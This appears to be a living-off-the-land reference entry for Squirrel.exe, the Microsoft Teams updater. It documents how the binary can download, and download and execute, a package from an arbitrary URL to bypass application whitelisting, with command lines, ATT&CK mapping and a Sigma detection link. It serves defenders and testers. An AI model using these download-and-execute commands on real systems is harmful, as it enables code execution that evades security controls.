.. /Squirrel.exe

Download AWL bypass Execute

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Paths:
C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe

Resources:

- https://www.youtube.com/watch?v=rOP3hnkj7Is
- https://twitter.com/reegun21/status/1144182772623269889
- http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
- https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

Acknowledgements:

- Reegun J (OCBC Bank) (@reegun21)
- Adam (@Hexacorn)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml

Download

The above binary will go to url and look for RELEASES file and download the nuget package.

```
squirrel.exe --download [url to package]
```

Use case:	Download binary
Privileges required:	User
Operating systems:	Windows 7 and up with Microsoft Teams installed
ATT&CK® technique:	T1218

AWL bypass

. The above binary will go to url and look for RELEASES file, download and install the nuget package.

```
squirrel.exe --update [url to package]
```

Use case:	Download and execute binary
Privileges required:	User
Operating systems:	Windows 7 and up with Microsoft Teams installed
ATT&CK® technique:	T1218

. The above binary will go to url and look for RELEASES file, download and install the nuget package.

```
squirrel.exe --updateRollback=[url to package]
```

Use case:	Download and execute binary
Privileges required:	User
Operating systems:	Windows 7 and up with Microsoft Teams installed
ATT&CK® technique:	T1218

Execute

. The above binary will go to url and look for RELEASES file, download and install the nuget package.

```
squirrel.exe --update [url to package]
```

Use case:	Download and execute binary
Privileges required:	User
Operating systems:	Windows 7 and up with Microsoft Teams installed
ATT&CK® technique:	T1218

. The above binary will go to url and look for RELEASES file, download and install the nuget package.

```
squirrel.exe --updateRollback=[url to package]
```

Use case:	Download and execute binary
Privileges required:	User
Operating systems:	Windows 7 and up with Microsoft Teams installed
ATT&CK® technique:	T1218